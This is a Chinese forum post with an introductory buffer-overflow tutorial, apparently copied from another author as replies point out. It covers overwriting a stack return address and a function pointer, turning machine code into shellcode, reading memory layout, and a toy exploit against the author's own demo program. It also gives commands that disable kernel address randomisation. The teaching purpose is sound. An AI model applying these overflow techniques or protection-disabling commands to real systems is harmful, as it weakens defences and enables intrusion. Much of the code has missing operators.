首页
社区
课程
招聘
[旧帖] [原创]网络渗透技术入门篇 0.00雪花
发表于: 2011-4-8 19:27 1459

[旧帖] [原创]网络渗透技术入门篇 0.00雪花

2011-4-8 19:27
1459
适用:对网络渗透技术感兴趣但一直不得要领的广大人民群众
作者:CK
Email:2133529@qq.com
QQ:2133529
日期:二零一一年四月八日编写
缓冲区溢出基基础
    缓冲区溢出通常是向数组中写数据时,写入的数据的长度超出了数组原始定义的大小。
比如前面你定义了intbuff[10],那么只有buff[0]-buff[9]的空间是我们定义buff时
申请的合法空间,但后来往里面写入数据时出现了buff[12]0x10则越界了。C语言常用的
strcpy、sprintf、strcat等函数都非常容易导致缓冲区溢出问题。
    查阅C语言编程的书籍时通常会告诉你程序溢出后会发生不可预料的结果。在网络安
全领域,缓冲区溢出利用的艺术在于让这个“不可预料的结果”变为我们期望的结果。
看下面这个演示程序:buf.c
/*buffer overflow exampleby 2133529@qq.com*/
#include<stdio.h>
voidwhy_here(void) /*这个函数没有任何地方调用过*/
{
        printf("whyu here?!\n");
        _exit(0);
}
intmain(intargc,char * argv[])
{
        intbuff[1];
        buff[2] (int)why_here;
        return 0;
}
在命令行用VC的命令行编译器编译(在Linux下用gcc编译并运行也是同样结果):
C:\Temp>clbuf.c
运行程序:
C:\Temp>buf.exe
whyu here?!
仔细分析程序和打印信息,你可以发现程序中我们没有调用过why_here函数,但该函数却
在运行的时候被调用了!!
这里唯一的解释是buff[2]why_here;操作导致了程序执行流程的变化。
要解释此现象需要理解一些C语言底层(和计算机体系结构相关)及一些汇编知识,尤其是
“栈”和汇编中CALL/RET的知识,如果这方面你尚有所欠缺的话建议参考一下相关书籍,
否则后面的内容会很难跟上。
假设你已经有了对栈的基本认识,我们来理解一下程序运行情况:
进入main函数后的栈内容下:
[ eip ][ ebp ][buff[0]]
高地址  <----         低地址
以上3个存储单元中eip为main函数的返回地址,buff[0]单元就是buff申明的一个int
空间。程序中我们定义intbuff[1],那么只有对buff[0]的操作才是合理的(我们只申请
了一个int空间),而我们的buff[2]why_here操作超出了buff的空间,这个操作越界了,
也就是溢出了。溢出的后果是:对buff[2]赋值其实就是覆盖了栈中的eip存放单元的数
据,将main函数的返回地址改为了why_here函数的入口地址。这样main函数结束后返回的时候将这个地址作为了返回地址而加以运行。
上面这个演示是缓冲区溢出最简单也是最核心的溢出本质的演示,需要仔细的理解。如果还
不太清楚的话可以结合对应的汇编代码理解。
用VC的命令行编译器编译的时候指定FA参数可以获得对应的汇编代码(Linux平台可以用
gcc的-S参数获得):
C:\Temp>cl/FA tex.c
C:\Temp>typetex.asm
        TITLE  tex.c
        .386P
include listing.inc
if@Version gt510
.modelFLAT
else
_TEXT  SEGMENTPARA USE32PUBLIC 'CODE'
_TEXT ENDS
_DATA  SEGMENTDWORDUSE32PUBLIC 'DATA'
_DATA  ENDS
CONST  SEGMENTDWORDUSE32PUBLIC 'CONST'
CONST ENDS
_BSS  SEGMENTDWORDUSE32PUBLIC 'BSS'
_BSS  ENDS
$$SYMBOLS          SEGMENTBYTEUSE32 'DEBSYM'
$$SYMBOLS          ENDS
_TLS  SEGMENTDWORDUSE32PUBLIC 'TLS'
_TLS  ENDS
FLAT  GROUP_DATA,CONST,_BSS
         ASSUME CS:FLAT,DS:FLAT,SS:FLAT
endif
INCLUDELIB LIBC
INCLUDELIB OLDNAMES
_DATA  SEGMENT
$SG775 DB          'whyu here?!',0aH,00H
_DATA  ENDS
PUBLIC _why_here
EXTRN _printf:NEAR
EXTRN __exit:NEAR
_TEXT  SEGMENT
_why_herePROCNEAR
          push     ebp
         mov       ebp, esp
          push     OFFSETFLATSG775
          call  _printf
          add      esp,4
          push     0
          call  __exit
          add      esp,4
          pop      ebp
          ret      0
_why_hereENDP
_TEXT ENDS
PUBLIC _main
_TEXT  SEGMENT
_buff$ -4                                                          ;size 4
_argc$ 8                                                           ;size 4
_argv$  12                                                         ;size 4
_main PROCNEAR
          push     ebp
         mov       ebp, esp
          push     ecx
        mov     DWORD PTR_buff$[ebp+8],OFFSETFLAT:_why_here
        xor     eax, eax
        mov     esp, ebp
        pop     ebp
        ret     0
_main ENDP
_TEXT ENDS
END
这个例子中我们溢出buff后覆盖了栈中的函数返回地址,由于覆盖数据为栈中的数据,所
以也称为栈溢出。对应的,如果溢出覆盖发生在堆中,则称为堆溢出,发生在已初始化数据
区的则称为已初始化数据区溢出。
实施对缓冲区溢出的利用 (即攻击有此问题的程序)需要更多尚未涉及的主题:
  1. shellcode功能
  2. shellcode存放和地址定位
  3. 溢出地址定位
这些将在以后的章节中详细讲解。
SHELLCODE基础
    溢出发生后要控制溢出后的行为关键就在于shellcode的功能。shellcode其实就是一
段机器码。因为我们平时顶多用汇编写程序,绝对不会直接用机器码编写程序,所以感觉
shellcode非常神秘。这里让我们来揭开其神秘面纱。
看看程序shell0.c:
#include<stdio.h>
intadd(intx,inty) {
        return x+y;
}
intmain(void) {
        resultadd(129,127);
        printf("result%i\n",result);
        return 0;
}
这个程序太简单了!那么我们来看看这个程序呢?shell1.c
#include<stdio.h>
#include<stdlib.h>
int add(intx,inty)
{
    return x+y;
}
typedef int (*PF)(int,int);
intmain(void)
{
    unsignedcharbuff[256];
    unsignedchar *ps (unsignedchar *)&add;/*ps指向add函数的开始地址*/
    unsignedchar *pdbuff;
    intresult0;
    PF pf (PF)buff;
    while(1)
    {
        *pd*ps;
        printf("\\x%02x",*ps);
        if(*ps 0xc3)
        {
            break;
        }
        pd++,ps++;
    }
    resultpf(129,127); /*此时的pf指向buff*/
    printf("\nresult%i\n",result);
    return 0;
编译出来运行,结果如下:
shell:\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3
result25
shell1和shell0的不同之处在于shell1将add函数对应的机器码从代码空间拷贝到了buff
中(拷贝过程中顺便把他们打印出来了),然后通过函数指针运行了buff中的代码!
关键代码解释:
unsignedchar *ps       (unsignedchar *)&add;
&add 为函数在代码空间中开始地址,上面语句让ps指向了add函数的起始地址。
PF pf (PF)buff;
让pf函数指针指向buff,以后调用pf函数指针时将会把buff中的数据当机器码执行。
*pd *ps;
把机器码从add函数开始的地方拷贝到buff数组中。
if(*ps  0xc3) {break }
每个函数翻译为汇编指令后都是以ret指令结束,ret指令对应的机器码为0xc3,这个判断
控制拷贝到函数结尾时停止拷贝,退出循环。
resultpf(129,127);
由于pf指向buff,这里调用pf后将把buff中的数据作为代码执行。
shell1和shell0做的事情一样,但机制就差别很大了。值得注意的是shell1的输出中这
一行:
shell:\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3
直接以C语言表示字符串的形式将平时深藏不露的机器码给打印了出来。其对应的C语言代
码是:
      intadd(intx,inty) {
        return x+y;
    }
对应的汇编码(AT&T的表示)为:
    pushl %ebp
    movl  %esp,%ebp
    movl    12(%ebp),%eax
    addl  8(%ebp),%eax
    popl  %ebp
    ret
接下来理解这个程序应该就很容易了shell2.c:
#include<stdio.h>
typedef int (*PF)(int,int);
intmain(void)
{
    unsignedcharbuff[] "\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3";
    PF pf (PF)buff;
    intresult0;
    resultpf(129,127);
    printf("result%i\n",result);
    return 0;
}
我们直接把add函数对应的机器码写到buff数组中,然后直接从buff中运行add功能。
编译运行结果为:
result256
本质上来看上面的"\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3"就是一段
shellcode。shellcode的名称来源和Unix的Shell有些关系,早期攻击程序中shellcode
的功能是开启一个新的shell,也就是说溢出攻击里shellcode的功能远远不像我们演示中这么简单,需要完成更多的功能。无论shellcode完成什么功能,其本质就是一段能完成更
多功能的机器码。当然要做更多事情的shellcode的编写需要解决很多这里没有遇到的问
题,如:
    1. 函数重定位
    2. 系统调用接口
    3. 自身优化
    4. 等等。
程序进程空间地址定位
这个标题比较长,得要解释一下。这里有一个经常会混淆的概念要澄清一下,程序的源代码
称为程序源代码,源代码编译后的二进制可执行文件称为程序,程序被运行起来后内存中和
他相关的内存资源和CPU资源的总和称为进程。程序空间其实指的是进程中内存布局和内存
中的数据。再通俗点就是程序被运行起来时其内存空间的布局。
这点需要记住:一个程序被编译完成后其运行时内部的内存空间布局就已经确定。这个编译
好的二进制文件在不同时间,不同机器上(当然操作系统得是一样的)运行,其内存布局是
完全相同的(一些特例除外,后面会说到)。这就是内存空间地址定位的基础!
写一程序a.c如下:
#include<stdio.h>
char *p "Hello";
inta 10;
intmain(intargc,char * argv[])
{
        intb[0];
        char * fmalloc(8);
        printf("p contentaddr:%p\n",p);
        printf("ppointaddr:%p\n",&p);
        printf("aaddr:%p\n",&a);
        printf("b addr:%p\n",&b);
        printf("f contentaddr:%p\n",f);
        printf("main fun addr:%p\n",&main);
}
编译:gcca.c-oa #Win下用cla.c编译,以下以Linux为例,Win系统同样适用
在我的Ubuntu 7.04上执行:
cloud@dream:~/Work/cloud$./a
p contentaddr:0x804852c
p pointaddr:0x80496a8
a addr:0x80496ac
b addr:0xbffff9e4
f contentaddr:0x804a008
main fun addr:0x80483b4
这里我们可以看到我们各变量在内存中的地址。
过几分钟再执行一次:
cloud@dream:~/Work/cloud$./a
p contentaddr:0x804852c
p pointaddr:0x80496a8
a addr:0x80496ac
b addr:0xbffff9e4
f contentaddr:0x804a008
main fun addr:0x80483b4
看两次执行时这些变量在内存中的地址是完全一样的。
(如果不一样的话表示你的Kernel作了栈随机处理,这个机制是专门防范溢出用的,对安全
而言这个机制非常有用,但对你学习而言则带来不少麻烦,为了学习方便,可以先用以下方
法禁用内核的这个功能:sudoroot,然 echo0 >/proc/sys/kernel/randomize_va_space ;
如果是RedHat系列,可以通过echo0 >/proc/sys/kernel/exec-shield-randomize禁用。)
那么我们的程序执行起来时内存布局是啥样的呢?这点可以通过nm、dumpbin.exe、IDA Pro
等工具看到,这里是IDA Pro对可执行二进制程序a进行分析的结果:

从中我们可以看到内存空间被分为多个段,其中.text段存放程序代码,起始地址为
0x8048310,结束地址为0x8048508。a程序执行结果中输出了:
main fun addr:0x80483b4
可见main函数起始地址为0x80483b4,正好落在.text段内。
有空你可以把a程序输出中各个地址拿到这里来对对,看看各个变量都在什么段里,至于各
个段存有什么用,这里就不一一讲了,有空的话你可以google一下。
另外需要说明的是栈空间的结束地址是固定的,在Linux下为:0xc0000000,a程序执行时
输出的:
b addr:0xbffff9e4
这个地址就是在栈中。
为什么栈的起始地址不固定而是结束地址固定?这个就需要你查查手边x86汇编手册关于
栈和函数调用的章节了。
以上内容是为了让你对程序空间有个直观的认识,如果不是很清楚也没有关系,这基本不影
响后面的阅读。
好了到现在我们基础知识已经够用了,来看看这个程序space.c:
#include<stdio.h>
#include<stdlib.h>
int add(intx,inty)
{
    return x+y;
}
int mul(intx,inty)
{
    return x*y;
}
typedef int (*PF)(int,int);
intmain(intargc,char *argv[])
{
    PF pf;/* 函数指针pf*/
    charbuff[4];/*buff溢出后将覆盖pf*/
    intt0;
    pf (PF)&mul;/* 函数指针默认指向mul函数的起始地址*/
    printf("addr addfun :%p\n",&add);
    printf("addrmulfun :%p\n",&mul);
    printf("pf0x%x\n",pf);
    if(argc >1)
    {
        memcpy(buff,argv[1],8);
    }
    printf("now pf0x%x\n",pf);
    tpf(4,8);
    printf("4*8%i\n",t);
}
程序开始我们定义了PF pf;接着定义了charbuff[4];
此时程序栈中空间片断如下:
[pf值,占4字节 ] [ buff的4字节 ]
高地址        ←--------           低地址
这样buff操作发生溢出则会覆盖pf的值,而pf中我们默认存放mul函数的起始地址,并
且我们后面会通过tpf(4,8);来执行其指向地址的机器码。
默认情况下如果不指定命令行参数,那么不会执行memcpy操作,此时pf中存放mul函数起
始地址,pf(4,8)时会执行mul函数。
这里我们明确强调一点,所谓函数就是程序运行时内存中存放的对应机器码,函数名如add
和&add都是指其对应机器码的起始内存地址。
执行一下space程序看看输出:
cloud@dream:~/Work/cloud$./space
addr addfun :0x8048374
addrmulfun :0x804837f
pf0x804837f
now pf0x804837f
4*8 32
输出非常正常,add起始地址为0x8048374,从这个地址开始放着add函数对应的机器码;
mul起始地址为0x804837f,pf值为0x804837f,即mul起始地址,pf(4,8)就是执行pf所
指向地址的机器码,传入参数为4和8;最后输出4*8 32。
好戏开始了,我们指定一下命令行参数aaaaABCD:
cloud@dream:~/Work/cloud$./spaceABCDABCD
addr addfun :0x8048374
addrmulfun :0x804837f
pf0x804837f
now pf0x44434241
段错误 (coredumped)
这次buff发生了溢出,覆盖了pf中的内容,现在pf值为0x44434241,最后程序崩溃。
为什么pf值为0x44434241呢?!
因为:
字符’A’对应的ascii值为0x41
字符’B’对应的ascii值为0x42
字符’C’对应的ascii值为0x43
字符’D’对应的ascii值为0x44
考虑到x86内存中字节序为低位在前,反过来就像当于’ABCD了’!
这表示什么?
这表示我们通过命令行利用溢出buff指定了函数指针pf的值了,我们这里指定了
0x44434241,这样pf(4,8)调用时,程序就转到了地址0x44434241,由于0x44434241是无
效空间(对照上面的程序空间中段的分布,没有任何段包含了此地址就知道了),所以程序
最后崩溃coredumped了。
用gdb来看更直观:
cloud@dream:~/Work/cloud$gdb ./space
(gdb)r aaaaABCD
Startingprogram:/mnt/sec/cloud/cloud/spaceaaaaABCD
addr addfun :0x8048374
addrmulfun :0x804837f
pf0x804837f
now pf0x44434241
Program received signalSIGSEGV,Segmentation fault.
0x44434241in ?? ()
(gdb)p $eip
$2  (void (*)()) 0x44434241 #eip寄存器现在值为0x44434241
(gdb)
现在我们已经通过指定命令行参数,利用溢出修改了程序的执行流程,但由于我们指定的地
址为无效地址导致程序崩溃。
我们现在已经知道如果我们指定pf值为0x8048374就会执行add函数,如果指定为
0x804837f,就会执行mul函数 。
接下来就好办了,我们来写一个程序通过execve来执行space程序,给如下命令行参数:
./spaceaaaa\x74\x83\x04\x08
即有针对性的指定命令行参数来修改pf值为0x8048374,这样space将调用add函数,而
不是默认的mul !
/* exp.c*/
#include<stdio.h>
intmain(void)
{
        char * a0 "space";
        unsignedchar a1[128];
        char * arg[] {a0,a1,0};
        a1[0]'a';
        a1[1]'a';
        a1[2]'a';
        a1[3]'a';
        a1[4]0x74;
        a1[5]0x83;
        a1[6]0x04;
        a1[7]0x08;
        a1[8]0;
        execve("./space",arg,0);
}
cloud@dream:~/Work/cloud$gcc exp.c-o e
cloud@dream:~/Work/cloud$./e
addr addfun :0x8048374
addrmulfun :0x804837f
pf0x804837f
now pf0x8048374
4*8 12
看输出结果是4+8的值12了。
现在程序的流程被我们通过溢出并指定add的内存地址来进行修改了。
我们这里设计到了地址空间定位,主要有两处:
1. buff写入多长后会发生溢出。由于这里源程序就在我们手里,一看PF pf;char buff
    [4];就知道超过4字节就将覆盖到pf值了,但很多时候我们没有源程序,这就需要逆
    向工程分析+动态调试来获取了。
2. 用于覆盖pf的数据应该是多少。我们这里用的是add函数的地址值0x8048374,并且我
   们用程序直接打印出了其地址,所以一看就知道了,但如果程序不是我们自己,同样需
   要用逆向工程技巧+动态调试技巧来确定了。
好了,以上我们已经可以通过溢出来修改目标程序流程了,已经掌握了溢出利用的精髓。现
实生活中的溢出利用当然更复杂一点,需要更多的系统体系结构知识和N多的小技巧而已。
相信你以后会逐步了解到所谓溢出,无论是什么类型的溢出,根本上就涉及两个问题,用谁
去覆盖谁,概况一下就是通过一定技巧将指定的数据写入到指定内存中。比如上面我们就是将指定数据0x8048374写入到了pf的值所占有的内存空间中。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
2
网上好像有电子版的下载就是《网络渗透技术》自己也有,但不知道作者允不允许共享。
2011-4-8 20:07
0
雪    币: 457
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
访问此页面为何需要安装证书?
2011-4-8 20:19
0
雪    币: 1149
活跃值: (833)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
4
很诧异。。。为什么 访问 该页 提示安全证书..
2011-4-8 20:22
0
雪    币: 115
活跃值: (61)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
5
我看到的版本 是watercolud的版本 晕 天下文章一大抄啊
2011-4-8 20:25
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
看得有点迷糊。。。。
2011-4-8 21:02
0
雪    币: 401
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
原文来自watercloud@xfocus,原名《缓冲区溢出光速入门》
2011-4-8 22:38
0
游客
登录 | 注册 方可回帖
返回
//